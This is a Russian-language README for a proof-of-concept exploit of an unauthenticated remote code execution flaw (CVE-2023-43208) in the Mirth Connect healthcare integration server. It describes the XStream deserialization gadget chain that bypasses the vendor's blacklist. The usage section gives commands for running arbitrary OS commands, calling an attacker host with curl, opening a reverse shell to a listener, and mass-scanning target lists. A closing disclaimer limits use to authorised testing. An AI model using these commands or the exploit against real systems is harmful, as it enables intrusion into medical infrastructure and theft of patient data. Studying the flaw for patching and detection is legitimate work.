
CVE-2023-43208: Mirth Connect – PoC удаленного выполнения кода до аутентификации
Удаленное выполнение кода без аутентификации в NextGen Healthcare Mirth Connect < 4.4.1 через обход десериализации XStream.
CVSS 9.8 (Critical) — Обход исправления CVE-2023-37679
Mirth Connect использует библиотеку Java XStream для десериализации XML-нагрузок на конечной точке /api/users без аутентификации. Исходное исправление (CVE-2023-37679) ввело черный список опасных классов, но оно было обойдено с помощью EventBindingInvocationHandler из Apache Commons Lang3 в сочетании с цепочкой InvokerTransformer из Commons Collections4.
Исправлено в Mirth Connect 4.4.1 путем перехода от черного списка к белому списку.
pip install requests
Python 3.10+ (использует операторы match).
python3 exploit.py check -t https://target:8443
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"
# Terminal 1 (or let the script handle the listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
# For better shell experience, use rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30
POST /api/users (без аутентификации)
│
▼
XStream десериализует XML нагрузку
│
▼
sorted-set вызывает Comparable.compareTo()
│
▼
dynamic-proxy → EventBindingInvocationHandler (обходит черный список)
│
▼
ChainedTransformer.transform()
│
▼
ConstantTransformer(Runtime.class)
→ InvokerTransformer("getRuntime")
→ InvokerTransformer("invoke")
→ InvokerTransformer("exec", <command>)
│
▼
Выполнение команды ОС от имени пользователя службы Mirth Connect
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Всегда получайте надлежащее разрешение перед тестированием.